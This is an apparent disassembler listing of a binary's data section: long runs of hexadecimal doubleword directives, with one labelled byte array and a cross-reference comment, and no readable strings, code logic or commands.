dd 119A903Dh, 90D0F4Eh, 0BD54B595h, 1C39D980h, 3500FF50h
dd 3B14F85Ch, 0FA51E9Dh, 65537FABh, 3E2CF322h, 0C440005Eh
dd 0FE0B12A7h, 35F207E1h, 0C1779DBFh, 402DFA99h, 4FC358B0h
dd 0E52FA9B8h, 0D1B88097h, 263564DCh, 77CB116h, 60F0BF6Ah
dd 0CF38F82Ah, 43F74325h, 0CB36A8FCh, 0A01BFC11h, 29331E8h
dd 0E8A1F09Eh, 8460A8A6h, 3409D38Fh, 82123F64h, 213A686Ch
dd 2431B957h, 2703DA68h, 0CB74CAEh, 424800A9h, 4836608Eh
dd 751201F7h, 48C2F292h, 0D5BB6021h, 62330483h, 0C08E4656h
dd 0B54A53C0h, 0ACDD20h, 7EF6EB99h, 3F61FC4Fh, 0AFE29D00h
dd 0F3E9785h, 9EF700E5h, 455436Dh, 6839A5DAh, 4F9507C3h
dd 50B0189Fh, 0C0944175h, 19DBD7E8h, 5D09D5D8h, 0A0A30452h
dd 0B00F4D80h, 1E3C0098h, 358C6077h, 92498E94h, 0DCFA018Ch
dd 0E57B5FDDh, 0CC396831h, 0C085EF80h, 0F09968BDh, 28809E93h
dd 2678EA26h, 80C8FC54h, 375BEDF0h, 0DC0E3CDFh, 0A09C3F97h
dd 0E95AC29Ah, 1C4D007Bh, 5B82FD98h, 0A1C0CCDEh, 2AA49358h
dd 90310086h, 0EDD298Ah, 4C0098FAh, 0B51E6D80h, 5EE09C6h
dd 0F092F294h, 54CA05Bh, 0AC7988h, 0B27EA297h, 53E7509Fh
dd 0BA58E200h, 76BFD76h, 7DEB3970h, 16DB909Ch, 91CC80D8h
dd 0E4A017C2h, 5B007F2Ch, 0C5360A63h, 4FA22AFCh, 0C840098h
dd 7E9B0FB2h, 0BB84253Ah, 341E5BF4h, 0DDFA6EC0h, 71E688h
dd 9CD937D2h, 13510C98h, 0C75B82FEh, 0FC00545Ch, 0F360A66Eh
dd 0BCA448F9h, 84FF4528h, 7FD606ACh, 0D9B5F572h, 16AA6F00h
dd 0F2770CB6h, 70A8C319h, 0D39061C3h, 501DD908h, 494058FDh
dd 941D2262h, 8C9000D1h, 6C9CC914h, 95005240h, 1C67B11Eh
dd 2369D27h, 0C1B248D6h, 2660F769h, 1E3A770Ah, 0E281007Bh
dd 3970CD1Dh, 0E3BEE48h, 0FA69E0B2h, 90D0E387h, 5AAB5818h
dd 8ACB861Ch, 0E5280FC0h, 1846AE2h, 0E6CD4446h, 0D429A0A2h
dd 0E1009E3Dh, 631FC74Eh, 1B7F94h, 5C165D72h, 37FD79FBh
dd 3606C12Eh, 199C0Bh, 0D3E8B71Dh, 7FE42784h, 4591B482h
dd 9D803662h, 81CEB5Bh, 0C348B925h, 0C8DDD020h, 3E090F79h
dd 9F40DA2Ah, 0F9CB3B8Ah, 2797E600h, 86F74759h, 55A403B7h
dd 0B8AACDD2h, 74503DF2h, 0C0A27C09h, 0EBA02069h, 3A334588h
dd 3F0CA8EEh, 0ED18D018h, 2C7CB07Ch, 9CA36114h, 135818h
dd 0A0915E26h, 0E881607Dh, 0DF8F0E71h, 0B76304D6h, 43E0E505h
dd 2B0179D7h, 584598F0h, 0E1AC8029h, 0C0901FECh, 961EC27Fh
dd 0DB0045C8h, 0DF650BBDh, 629EFE5h, 691D6849h, 72026062h
dd 0E2FD4660h, 5A7068DBh, 0A8800026h, 0ACD888E3h, 0CC0A890Bh
dd 346AB7AAh, 0DBE1FF03h, 0FE0C6EBh, 0D428DF4Eh, 0F98D409Eh
dd 501234EDh, 2483480Fh, 3D5C809Ch, 0E94638h, 9B05CE7Eh
dd 0B1F10640h, 0F0B30E0Eh, 0CB4960B8h, 7D176C9h, 0BD1ED0D7h
dd 0E4810DFh, 3DFE85ADh, 71A24A00h, 0BC962BB8h, 83D40089h
dd 0E3E45377h, 183D5023h, 376E9EDAh, 67443D00h, 3AC208CFh
dd 4100D23Bh, 5D29E2BEh, 4507DEE7h, 718BE54Ch, 0E8DC9B40h
dd 0D4121CC5h, 0FA530028h, 0A56906E2h, 0D64CCA00h, 0D505DB8Fh
dd 0C5EA007Ch, 9C52B3DFh, 6D009D26h, 29884F37h, 2AA276Ch
dd 0A63D1934h, 0A8A0E509h, 23E0CF54h, 6A63B51Fh, 8C41AC5Fh
dd 884D9439h, 6D41A410h, 0FBE4351Dh, 47CEF1Ch, 306586C2h
dd 4ED62C90h, 35760078h, 874734A6h, 557912E9h, 0DA03BEFEh
dd 0C12B5919h, 7300386h, 956D3FECh, 0FDCA6007h, 0D4F13B08h
dd 998EEA0Ah, 70A0802Fh, 0EE048B63h, 1A829A1Fh, 0F20FA6C0h
dd 95BB410h, 6FC04007h, 0E18E5023h, 0CBF7E3A8h, 0B44EB200h
dd 0EAC2A351h, 55190D5Ah, 0ECD1814Dh, 0FE0302E6h, 3FCDA212h
dd 0D0C2A1D5h, 30F3A7D4h, 0F029874Dh, 5C0069A8h, 97D8CCE3h
dd 1AF504h, 33E867E6h, 0C8A1956Ch, 40054906h, 78972BFh
dd 394CF475h, 746890AAh, 0B1716359h, 285465ECh, 0CD7D7D98h
dd 262FBE00h, 0DC0FFFC4h, 0A848FBB5h, 98320F83h, 87E00746h
dd 3B28A885h, 0CA6AFB0Fh, 30EA60CBh, 0D09FFBEh, 530173D9h
dd 50DDE139h, 0D6C83DA0h, 0BB9B6106h, 3E212C65h, 0A9805D73h
dd 0B60434BCh, 0BF0C1FD2h, 39F90AD6h, 0B857C33h, 9EA1787Dh
dd 17ED6700h, 0F703C090h, 4F618255h, 64D69865h, 95EEA7Bh
dd 693CA6A0h, 1D2A2780h, 8AF2FE04h, 0F7CD1B00h, 31D270DCh
dd 963E1CE7h, 0C7564E0Ch, 0E3A09A03h, 5D892900h, 7E7D57CEh
dd 0B69B01F1h, 0FF2ACFF6h, 7A2083FDh, 0F892E631h, 3A37AF02h
dd 1E001A05h, 71A6CAEEh, 0AB752206h, 8D0E42B8h, 8CC69F97h
dd 3F86088Fh, 0CC39449Eh, 6030D737h, 3EDEA992h, 52299A07h
dd 0E80041Fh, 3AAEEFDBh, 8E011EC4h, 99655DCEh, 861080C5h
dd 0B65CEBEAh, 891F0341h, 7EA18F31h, 84C0AEDAh, 7300E504h
dd 1B9368D6h, 377466ADh, 20E07A0Ch, 1F8B9045h, 0E0D011DBh
dd 3E85CBDh, 0EF88F3C6h, 0DCA0FD0Bh, 807AAB12h, 8AF0091Fh
dd 81FA0F0Fh, 7DEE159Bh, 7EF118E9h, 33CBCEE0h, 8D10DF7Fh
dd 4BAAE0F0h, 203F27Bh, 0DAB38444h, 0FE07D886h, 0C6A7007Fh
dd 1AE989EDh, 0EF787DECh, 0EB8FFD03h, 0C18CFA16h, 74D3F9E6h
dd 0A98D1F30h, 871D09h, 0DC82DEC6h, 3A1CF614h, 3C1415F3h
dd 0EB049164h, 0D4730CBEh, 0C85108Bh, 1E72F67Bh, 0D2003B21h
dd 0BFA3E369h, 0CC9C8ECAh, 5B213609h, 40369F6h, 0B69931C9h
dd 149BC877h, 0C23400A0h, 2C05226Ah, 5A0335FCh, 38A8B3AEh
dd 0B81876BEh, 285CB054h, 6044272Bh, 0ABED5929h, 220003FCh
dd 0D0A33F0Dh, 3B9ED6FBh, 0F03274Eh, 92869028h, 0DB1038C9h
dd 99A682F8h, 0D9F19F33h, 2E1C0E4h, 9A11C07Eh, 47A4E05h
dd 1FAF230Ch, 0C38F81FBh, 4DFDC121h, 3FA786F8h, 6083DC33h
dd 0C49F81A8h, 718B1000h, 0AA6320h, 0DDE8C67Ah, 3EFF2FD9h
dd 0CF277E0Eh, 21BA8C3Fh, 0DDE001ECh, 0AC183035h, 1A50819Ch
dd 6C8B115Bh, 8E32448h, 0D72FD4DDh, 0E740C1C4h, 4DA9DDDBh
dd 4596FB00h, 0A498BBAFh, 4C8C2843h, 0A01538ACh, 7218D720h
dd 0B540CEE0h, 0A852540Fh, 665E47Bh, 34171E62h, 77FD0ABh
dd 2631A002h, 997B226Eh, 0C019DC9Ch, 410754Eh, 8EC8AEFBh
dd 4DF8BC80h, 0E02BAC6Bh, 0EA90C136h, 26F77B84h, 69D30224h
dd 31C7A3E4h, 0CB5C1033h, 3DE50069h, 44AED78Bh, 8C62080Fh
dd 48B58FA8h, 381AF410h, 11E08ECCh, 13E75AAh, 9F6F141Dh
dd 9E5F0BC7h, 21A2B6h, 503E6DCCh, 20D6E6D0h, 48B8141Eh
dd 79C294E8h, 0A0A8321Bh, 4F102DB4h, 928900FBh, 811C3A26h
dd 0E3E1301Ah, 10358806h, 3B20FAC9h, 8A9E9B85h, 588911Ah
dd 81B44829h, 0EE1BF403h, 79B005AEh, 133343Ch, 0CCD80D8Ch
dd 7B809FBBh, 0FB839885h, 0A0A5BC23h, 0D0AE5CB0h, 0DB23C420h
dd 744DFF01h, 9518F304h, 76F7BB88h, 6FAB034Dh, 96A891DAh
dd 0C018A4F8h, 5EA0BC62h, 44B4448Bh, 15007E26h, 0B2CF68FFh
dd 14D644B9h, 0A81640C7h, 0A47FCE0Eh, 48B3E805h, 0A5809DC4h
dd 3B9F49AAh, 0B8AB0089h, 64F004D5h, 0B2021FE7h, 3846630Ah
dd 8FACA3E3h, 9739009Ah
dd 0B6F7F814h, 910018CFh, 15E1AEDEh, 1B8D06Ah, 9E3EFEA9h
dd 83210DB5h, 842F44A1h, 0C8009BBh, 0D8100438h, 4000CEA7h
dd 7FC19D1Fh, 810A24h, 924DBDB9h, 6928B2B6h, 88966CECh
dd 0F7723F03h, 0F8CBC1DAh, 0D78A0887h, 821B8E4h, 99FED500h
dd 0C0B9634Ch, 0AD4D83C1h, 0C80750DFh, 3B162B46h, 455DE1BFh
dd 4BEC7872h, 2FD30A75h, 11DC3F8Fh, 4E0380DFh, 43130478h
dd 799422AFh, 434D00BFh, 0E9B5DADDh, 14121397h, 544198B0h
dd 4ED82BA3h, 4C5BF424h, 6D2344F2h, 0D5DDE401h, 0BF18DF2Fh
dd 0FDCE888h, 0E04099DDh, 9A3836A0h, 81C17C9Eh, 0D1482A76h
dd 61E26C25h, 131060C8h, 0C8600CD8h, 5B27DA88h, 810D01BEh
dd 204F9AE2h, 0A887F6ECh, 9FD86A73h, 2F910569h, 29A81F80h
dd 159A00E4h, 79C512A3h, 12280158h, 0E83ACA7Fh, 0FC01A523h
dd 65E341EEh, 847ECE4h, 7FA59A07h, 170EE09Fh, 912FC6F5h
dd 0A8151539h, 0DB14A8BCh, 587B9031h, 9D24232Fh, 8A6B03D8h
dd 310C932Eh, 517DA399h, 14070ADAh, 11BC9E1Fh, 0DDE5806Eh
dd 99E72FD6h, 0FEE9C7DCh, 0D963720h, 0F50110B0h, 2B847D01h
dd 0EA001C14h, 8D7F3980h, 5438A409h, 18CCA0AAh, 50F2FFA0h
dd 0F031BC6Dh, 0A89DFD88h, 0ECA1C02Ah, 40304B19h, 188F9832h
dd 0F160771Eh, 9D7DFC7Bh, 16E0EA98h, 0B9D8A014h, 33CB007Ch
dd 0A5EAE773h, 716C6038h, 0DCEC41B5h, 0CD102F12h, 0D3130447h
dd 9154177Bh, 380A80BCh, 0A88104C2h, 153ECA0h, 90C40F3Ah
dd 91F38B16h, 95907258h, 72FDA05h, 0C32C483Fh, 0DDE1ED80h
dd 3356BDh, 0D0285EB0h, 0EB19346Eh, 0A9340250h, 0F259B100h
dd 0E50C52C1h, 1A340C65h, 0F3E0D48Dh, 5129DC06h, 510DA37h
dd 282B7CE1h, 0EBC4012Dh, 0FAA6E5B0h, 0FE0FDC4Ch, 0E804734Dh
dd 0F6BA58AEh, 0B6024D00h, 4608D9F0h, 970B0DF1h, 0F4B9CA9Fh
dd 8B30A299h, 2B7B10A7h, 704560ACh, 8FCD6B1Ah, 7389B49h
dd 11174F47h, 31C0296h, 8EE852DAh, 26B18DB6h, 0BB48309Ah
dd 0E42988h, 0E16C037Fh, 274ABD1Eh, 80758D3Ch, 0EA74F5ECh
dd 0E088FB15h, 11D091E3h, 0FCEF002Bh, 8407C4F6h, 0F30B781Fh
dd 20A88FCh, 2A7531D8h, 9C448FABh, 0DB143002h, 6070EA3Eh
dd 222A1A8Ch, 0B518AF05h, 7B591D13h, 4CAC92DCh, 4FC3F8A2h
dd 599050CBh, 48004971h, 0D1A9409h, 282DBFFBh, 88909A37h
dd 0C3B263A8h, 0D3579559h, 93C6DDB8h, 1E032702h, 6106CBBAh
dd 8911815Ch, 68622Ah, 36DCE53Bh, 9BD11AF5h, 3E843F28h
dd 62971406h, 72D120A7h, 5D75F43Eh, 22138800h, 0E19AC18Ah
dd 3D8D4403h, 59845300h, 0AE817EA3h, 0A1550014h, 0C23FE44Bh
dd 27F74679h, 870C38D8h, 9A47A9E2h, 8A084470h, 6932E4EBh
dd 98187995h, 282806FDh, 3009FFE8h, 22934418h, 0E0CAEEE8h
dd 40982F84h, 18389EB4h, 10ABAED8h, 460E044h, 0D9E7794Eh
dd 88900CAFh, 4D01FCC0h, 9A7C3D79h, 198699AAh, 999F8EDAh
dd 5AFC100h, 0A9C5A240h, 0C98707D8h, 0A039AAEDh, 0D51232DFh
dd 0E4018270h, 8307DC7Ah, 5472E5C8h, 3D308FF2h, 0EB07090Eh
dd 0FB0FD66Ah, 0F0DC4Ah, 27D876D2h, 84A0A7C8h, 2215FC7Ch
dd 2983FAFh, 942D892Bh, 0DB08511Ch, 0ADB860B4h, 288A247Bh
dd 0F90B4074h, 31022587h, 0DC2C032Bh, 0AA0C6937h, 64121872h
dd 155040B1h, 34ADF4AFh, 92DCB804h, 9C922C48h, 0BF322099h
dd 9524D01Eh, 5300150Ch, 3DB74ADh, 30D45D60h, 5844CA2Eh
dd 0B4907BEAh, 187810D4h, 0B132D9EBh, 0E44B062h, 65E170ECh
dd 26BE5A0Fh, 6404032Bh, 0B0032238h, 8120E0Ah, 0CEF82C16h
dd 7D060B30h, 0AE64D403h, 5EE2C12Fh, 0BF890164h, 0F4AB04C6h
dd 0F84A7B85h, 69D4D830h, 0CFA323E5h, 5D0E3411h, 2EA069CCh
dd 57FBF698h, 61B46330h, 7EC26E79h, 2DB21C6Ah, 0A578C2E2h
dd 944CA336h, 0A4328912h, 202F8822h, 74C10512h, 3ABA2500h
dd 22167E68h, 9EA50071h, 0B0D426E7h, 1A1C3DCBh, 4170904Bh
dd 2C966388h, 89849E6Dh, 2C9104AEh, 36FADC4Ah, 5DBE900h
dd 0A41E06A3h, 4B300023h, 11252DECh, 48B36B8Bh, 89DDE20Bh
dd 16448BE8h, 0DAE61FA8h, 117580DDh, 0CA5F78Eh, 0A67B1513h
dd 28894801h, 502222B7h, 740ECB23h, 6714043Eh, 0CBC058B2h
dd 0FFE93E6Ch, 62127303h, 2487A19Ah, 605889C9h, 0B64CA8B3h
dd 73090498h, 0C2744834h, 11E41D88h, 462892Fh, 0E5303288h
dd 6B0A472Ch, 0C31891Dh, 0C8D01307h, 5328A04Bh, 0A3F79C80h
dd 9A2104B8h, 0D692012Ah, 7498D6CCh, 2C17B525h, 33BB1104h
dd 7B08D375h, 0E1DAFFC1h, 135863DCh, 0F432A199h, 0CCE11229h
dd 9D5110AEh, 0BB081CBFh, 0A750EC48h, 0A9006037h, 193A38B3h
dd 9CE224F7h, 11E048A0h, 3E7880CFh, 94871404h, 70CF5850h
dd 8B363E00h, 62468756h, 303F050Ch, 1986C20h, 0B5DBABD0h
dd 781080Eh, 0D2F19706h, 888089CEh, 0BA490CDBh, 60654302h
dd 61D1748Fh, 683CE544h, 8C90B8h, 0EB4584C5h, 189DFC80h
dd 7506E707h, 2B00A7ECh, 0B882FDD7h, 54904FFCh, 9522AC50h
dd 8F426A00h, 0D053723Dh, 0D86D25D7h, 14C5A8A9h, 0BA6090E4h
dd 0EB047F80h, 0A2E830A5h, 0C01640A0h, 0DB7C8A71h, 6830202Fh
dd 0DC109094h, 8098B1F6h, 0A730313Eh, 5C980351h, 0E04E0896h
dd 7327B3D0h, 32760F85h, 7167D2D6h, 0DD35F063h, 0A73AFAA4h
dd 28330994h, 82988F31h, 48ACFD2Ah, 3047CF28h, 0A8789AD0h
dd 0A54F7438h, 0C070FC48h, 2FD8DDE7h, 0BD22F746h, 0DDDFEB01h
dd 656A64F1h, 9C9B7E93h, 0CE0163BCh, 0B6E52BC8h, 0A9F83BB5h
dd 0D81309E7h, 0B001CBECh, 700CA327h, 2894CE5Ch, 30525C64h
dd 0E265FDB8h, 0EBE9231Fh, 4DCA8300h, 4B4CB90h, 6CD6ADAh
dd 6B78F473h, 30577001h, 0E8E1B30Dh, 129AE464h, 0D38FDA4Ch
dd 1FF12880h, 0BFEED498h, 4502748h, 74EBBD91h, 92F274E3h
dd 36302C31h, 55500E7h, 8347AEEBh, 3D503443h, 2911DAC8h
dd 0C50B306h, 92A8821h, 4029F9DFh, 3A1897D9h, 0C974B700h
dd 0BBA834ABh, 1233EA4Fh, 0C0C79F10h, 0F5777A7Ch, 0A1792CB9h
dd 46AC6019h, 0C069500h, 88EB08EDh, 2BA3165Dh, 280C468h
dd 0A4D017D0h, 0CEA92C40h, 6A23F0Fh, 0C5384514h, 0B563FC06h
dd 0FAF6E9h, 0D8AEBCB1h, 0EBD76E86h, 0DCE08101h, 0B0647BF2h
dd 852C2980h, 0CDC1BB23h, 99A9080Fh, 0C08B3636h, 6AC03288h
dd 28237E2h, 590819E9h, 6CD0FE0Ah, 89FACD10h, 0BDB0EF00h
dd 6F5C08DBh, 0AE5EA81Fh, 53D10144h, 277B588Ah, 0B822CA29h
dd 0E617F6h, 8E777913h, 0E521B44Fh, 0B0A2315Ah, 1B3B9F01h
dd 0D081558Fh, 0AD0072D7h, 78903966h, 16B605h, 0E4BEA2CDh
dd 4E5C31C4h, 65DA3A00h, 1567ADC7h, 91053AE8h, 0AF80F13Fh
dd 0D66EBF0h, 0EE61F35Ch, 0F6BB4F10h, 0FE6E9BF0h, 491800DEh
dd 424E761Ch, 6A7E5DDAh, 0ED827B02h, 0D4167872h, 19B137Dh
dd 55E568D8h, 793A204Ah, 8F6CFE0Bh, 0EA94461Ah, 84E98019h
dd 307948B1h, 0DBD73019h, 24283109h, 8148807Ch, 0B6E68FCh
dd 15B5DC6Ch, 67B94C8h, 44882C12h, 0B8133002h, 0DB0CE95Ch
dd 0CF64420h, 728EE6F2h, 4941CC28h, 5814C021h, 0C2F2F4B2h
dd 0DE1330h, 0D3623421h, 30271CA7h, 81F84827h, 115BEC54h
dd 0C2F29C32h, 0AB7530h, 0E8F5B481h, 903F6B95h, 0E0040B9h
dd 0A9BDEFF1h, 2C030C42h, 8DD041ACh, 0C148A01Bh
db 0F8h
byte_505345 db 0E0h, 3Ch, 50h ; DATA XREF: ___:off_444640o
; ___:off_444648o ...
dd 0B418DE4Ah, 0C4208739h, 14A240A8h, 0C0D0B4A0h, 0F19C1030h
dd 0B8B6E5C7h, 82E0D6h, 0B8728535h, 8803E31Ch, 48A521C0h
dd 831278h, 6A62ECFAh, 6140AC60h, 38505F90h, 0BD45FC4Ch
dd 409EB068h, 0E66005CFh, 2B1378FAh, 7A0FC11Dh, 0FEEEA134h
dd 2470E46Bh, 2FF60E49h, 5BEBEC52h, 68A06381h, 7DD881BAh
dd 5A1FE82Bh, 0D0264478h, 3E79C068h, 8F461405h, 71D08872h
dd 141C3E02h, 0ABCA8CB8h, 0E45CC594h, 5AF760BEh, 54CC3838h
dd 0CA23ACCCh, 0FF3E7303h, 44804713h, 3E6BCA05h, 0D47C85C9h
dd 58D88308h, 0B82CD94Eh, 90738831h, 2F499663h, 0F7480A3h
dd 7CD3007Dh, 0F691096Bh, 1496A899h, 0C5318989h, 33A801D0h
dd 2C9EC635h, 0E7A42E94h, 4E9CC83Bh, 0DB57843h, 1331041Ch
dd 0F474070Bh, 7100BEB8h, 996A04EBh, 0E7AEDAh, 2996AF5Ah
dd 6D069B2Bh, 3C40EC9Eh, 48C14180h, 8B007D85h, 572A21B3h
dd 0C8EE68E3h, 52A9360Eh, 7BE900C7h, 0B0DCF6CBh, 1B80C8F0h
dd 0AAB2A8Fh, 0B42E0810h, 0AD021BBEh, 29381C69h, 0BE316ABh
dd 400236E8h, 700D2F4h, 98670F2Ch, 0D88B13ECh, 8438C4A8h
dd 9C0E3D8h, 0C1F05C03h, 0DC428D94h, 244060CAh, 600381D4h
dd 0D4B037F0h, 102DD46h, 304764Eh, 0BD0014E7h, 73A24DF9h
dd 0E3AD1DAAh, 0D27492DBh, 8CC05758h, 0D100A3CBh, 702A7567h
dd 0B077AFh, 0F4FF8251h, 7C40ABF5h, 0E42C410Ch, 708AA021h
dd 0BDB2CE2h, 7A693068h, 7CBC106Dh, 9C30614Dh, 0D5048CF9h
dd 0D7A3E669h, 5E203162h, 483F69CDh, 1210ECEAh, 0AD068427h
dd 3865CF4Fh, 8E0B097h, 0F9070B9h, 2C18A481h, 0F007891h
dd 8583DD84h, 0B8619B99h, 1501202Ch, 0D20468A0h, 91C80C8Ah
dd 0AB4238C0h, 10A40C57h, 0F078A354h, 0DC7896h, 6880FD17h
dd 0B5A11EDAh, 129A9F26h, 7A637132h, 0D0BA079Ch, 607B24AEh
dd 0E7EC4D25h, 0AB108574h, 8A002373h, 59DC964h, 0CA09C84Bh
dd 43C1E18h, 8B1A4B9h, 23344C96h, 0BA9DEA08h, 287CE080h
dd 5CD0BC11h, 1507BE46h, 0A9658688h, 9E0D865Fh, 12B5F0B9h
dd 0B47B4211h, 0E49429A0h, 80257288h, 0FD7F70A3h, 0AB1FDB38h
dd 5B860F5h, 900B7C83h, 2808A4h, 76EDA807h, 49F01E9Fh
dd 0C41C5600h, 0B5CBABF1h, 87D09412h, 0C007DB7Bh, 1B0854A5h
dd 4315AEF0h, 71FC22A0h, 654BB4B6h, 62BAE4A4h, 54D195h
dd 6B63FCB3h, 0EC1CD341h, 5C03BBBh, 414C17Bh, 0D21BE644h
dd 81248478h, 5085031Ch, 57E23A90h, 0D3048FEEh, 65CEFE69h
dd 5A0724B0h, 26849E5h, 0CE01D068h, 87839C00h, 77D61594h
dd 13EE4FDh, 56AA220Ch, 417528BCh, 68E9F9D8h, 89132F84h
dd 0C4D0C5BCh, 0B60D61BBh, 0F421747Ch, 0B42C2A3Dh, 99860330h
dd 149DEEh, 11E8D977h, 8C99E55Bh, 98DC7525h, 0A6D27B0Ch
dd 164B009Ch, 0BE6BD8E5h, 1000D04Fh, 289883C0h, 2507D423h
dd 0D011EB8Ah, 3C48E817h, 0C88DE912h, 7E745E03h, 14800278h
dd 0AEEE2C08h, 7BEAB860h, 22240B4Ch, 30CEF021h, 0F690DD01h
dd 19C02473h, 0E086E22h, 53330266h, 110A5527h, 465C505Eh
dd 716B02BBh, 0F2899D9Ah, 48310908h, 0B8017BACh, 0F6A0074Eh
dd 19EF4C68h, 7A29B060h, 41C0402Fh, 0E854EAACh, 3BC0972Dh
dd 280F0146h, 0A02C0413h, 993FCC38h, 2F7C225Ah, 5E9EE213h
dd 4312BA54h, 0EEA4A080h, 4CA0A328h, 0ADCD896h, 84B46802h
dd 0AC5408C8h, 46748824h, 2D5801A0h, 1C340406h, 0C139064h
dd 988F7C7Bh, 0B600A329h, 276C4C64h, 13F312Bh, 0D5DC391Eh
dd 3AA98704h, 0F89A6013h, 5F9BCCC0h, 0F1225EBh, 48C3B9D0h
dd 0C4790097h, 0F593E2B4h, 521D8A4Eh, 3CC1383Fh, 8F56A5ECh
dd 0E702B469h, 1C69689Bh, 36298C0h, 0B8AF7112h, 7A0760F3h
dd 4A6A31Ah, 6CB093E0h, 2C054006h, 60F83994h, 20A55050h
dd 1490A318h, 5C14FE90h, 9B09645h, 0E39A017h, 2CA4966h
dd 5F8D1B8h, 0C88C26Bh, 0DF849C5Eh, 20A20787h, 3631A3F2h
dd 2984D028h, 1234A9FCh, 0B42019B5h, 6998174Ch, 0F453C8B1h
dd 90DBED70h, 3BB0F610h, 0F8D305FEh, 0AACFF617h, 0F2322200h
dd 6B3F67h, 9B5885B2h, 0A7EBB348h, 85D3009h, 0D134D9FEh
dd 10F18C0h, 0BB97D14Eh, 0C22A6CBCh, 144634E6h, 33934072h
dd 0C304827h, 40701830h, 0C94A26BBh, 2A1FB082h, 0A7467484h
dd 20430100h, 5EF962C6h, 9F24EF90h, 9E104C4Ch, 880BB512h
dd 5C14049Ch, 2EF83FF0h, 4674C42Eh, 53AC0337h, 0C8D96B3Ah
dd 0CF63CD8h, 99EBFF23h, 20192F70h, 4F08D50h, 1A3812C7h
dd 88508BE5h, 0DB8CC18Eh, 0BCF6C40Ch, 0E00B6402h, 51430838h
dd 80FB9124h, 0A3E869D7h, 80969DE7h, 69CF6000h, 590A6A5Ch
dd 54CCB84Dh, 250C858h, 5D8A0FEBh, 2C607C5Bh, 42804198h
dd 0FD38A922h, 6908D918h, 70F7A3EAh, 6900D162h, 7FC5F001h
dd 2008A4B3h, 6D15A3B8h, 29946810h, 34D9681Ch, 6004F18h
dd 0B729D5B0h, 4A9A0773h, 856841AAh, 4C5463h, 0DDB243Ah
dd 0C9031833h, 88380B78h, 2A7CC12Fh, 7EBC2907h, 90184811h
dd 80C0328h, 97A047A7h, 75C1A02h, 0CCDA74h, 60AF3334h
dd 0C4EC182Bh, 0E172AA01h, 0C24CB0B3h, 2EEC6005h, 0C7E6696Eh
dd 60294300h, 7B469AE1h, 0EC85B71Ch, 0A7448296h, 80C0320h
dd 783A4CE8h, 202A0512h, 35A01318h, 716849Ah, 405F462Ch
dd 41339E0Ch, 4AD90BD7h, 0BCC5E5DEh, 8C608FC4h, 0B4CB657h
dd 5437C278h, 0D970F18Fh, 9718C3h, 18405938h, 54F262E7h
dd 7B839A17h, 96C854CBh, 0F44201C0h, 9C8D0097h, 77F164CEh
dd 944F47D0h, 4DF5C4C8h, 0D4ED9021h, 4703A523h, 4AA41B1h
dd 0D8813D83h, 806C699Dh, 0BE3F81Dh, 2927DCF7h, 0D6981609h
dd 4494C808h, 72E67600h, 350CAF7Fh, 0CC38EDE5h, 80A00325h
dd 0C8F9F5ABh, 6D2D0700h, 303E6EFCh, 12313AAh, 16D882B2h
dd 5B9054h, 27DBAA70h, 0BCADAC6Dh, 0FFD5E403h, 0E0544766h
dd 0C0508A0Ah, 44031B39h, 88B94E10h, 0D017D760h, 13A4A1ABh
dd 41727070h, 806C43B2h, 70300A4h, 0FC7B8Ch, 67AF3478h
dd 38A3E10Fh, 1498BC24h, 70A50414h, 0F588A09Fh, 6394A813h
dd 0AB6240ACh, 0FED07102h, 710779E2h, 0E44207DCh, 143B904Ch
dd 0C9014DEEh, 8EE5D413h, 0AAECF1D5h, 0F010017Fh, 0DB084BA5h
dd 80707C7Ah, 1D6F52F3h, 0A32C0017h, 0C047405Ch, 4901D001h
dd 9D13EF3Ch, 5C3E6473h, 15D4C0D8h, 0A20BBBBCh, 12DE940Ch
dd 0EC348CD9h, 0CD2209A3h, 0ECD0067Ch, 39B76332h, 4644C10Eh
dd 18789C8h, 0FDAE243Eh, 0CC93AFD7h, 8B1531B0h, 0AC8404h
dd 6AE17013h, 12BBCFF4h, 423062C7h, 72EC063Ch, 9644D447h
dd 0D3602E67h, 0A2A57D38h, 0A45C4276h, 1884598Ch, 0EC1016EAh
dd 19EB803Bh, 82D4302Dh, 548406E4h, 0A7E74088h, 99007027h
dd 0A1EF4508h, 1DE66D66h, 814BBFE9h, 376C3C31h, 36093DBh
dd 0E17B84C0h, 52E97260h, 0A900C062h, 81FF419Dh, 400179E8h
dd 0D45CC3FAh, 0E870E9BCh, 0BC179D77h, 0C381A391h, 2F54B5D4h
dd 0B8F54312h, 0F0FCF8h, 0B7349D23h, 0CB086E66h, 4659E013h
dd 11423702h, 3BE45A74h, 2D00C622h, 2E706715h, 543DF917h
dd 79528178h, 61648059h, 2F5B6C28h, 0BF2374h, 38AA73A9h
dd 1502F93Ch, 0DFB29F77h, 7445A02h, 737827D7h, 0AE927712h
dd 0BC40A809h, 4818102Fh, 2C1986A3h, 402184BBh, 0E1181F8Eh
dd 127BE408h, 0F0B437E1h
dd 27AFA051h, 5CC96E5Ah, 47721430h, 0C42E92B2h, 0EB009523h
dd 0ED0F63B6h, 0B7A92408h, 535E0208h, 6C40CC72h, 0D75ADC78h
dd 0DA7B6823h, 80A47C3Ch, 14639BDAh, 0CA003A18h, 0F3D6EC05h
dd 0F92DBEFCh, 0E000443Dh, 1D708154h, 8F26696Bh, 2D003547h
dd 0DE11731Ah, 0F6CD0550h, 0DA9035DFh, 0C03288A8h, 94807CF6h
dd 0CC40C8B6h, 0ECBA3Ah, 0A9602137h, 0D4A8D399h, 83E61B09h
dd 4F441816h, 11620366h, 86ADBA9Bh, 248418C0h, 39B94607h
dd 0E1105BEh, 182C7FDFh, 8CC3BCh, 0ADFCBE0Ch, 148F5AD0h
dd 7439A116h, 0E76B8490h, 244507B3h, 0B2EA7DA8h, 64031E1h
dd 0EC2F0843h, 6534A002h, 7F04750h, 7AF77C03h, 2D0D0090h
dd 1827326Fh, 75A46074h, 4D280873h, 9C00DEC4h, 0D5768864h
dd 3E90917Ch, 374BDD02h, 3C40A7C4h, 4F0015FEh, 9D4A0C94h
dd 812843h, 95C9CB69h, 0A1541744h, 802728CFh, 61A7D7Ch
dd 7452069Ch, 1897A3C0h, 4323300Bh, 0E0388299h, 0BF2F018Eh
dd 5531DC35h, 0AB669E00h, 4C4B9BF0h, 769C00BCh, 7A1A2773h
dd 0D6550FB6h, 0F938C988h, 0B740A8B8h, 0E0F9E600h, 4EF4A4AFh
dd 1CF80017h, 5DADAE0Fh, 1E0019D2h, 0DB01385h, 0F15853h
dd 8780F5BCh, 0A56193AEh, 1EB93D3Ah, 0E08515C6h, 1C80C885h
dd 0D8905CD2h, 280A6010h, 6C2E5B00h, 4DD8E85Ah, 19EC01FDh
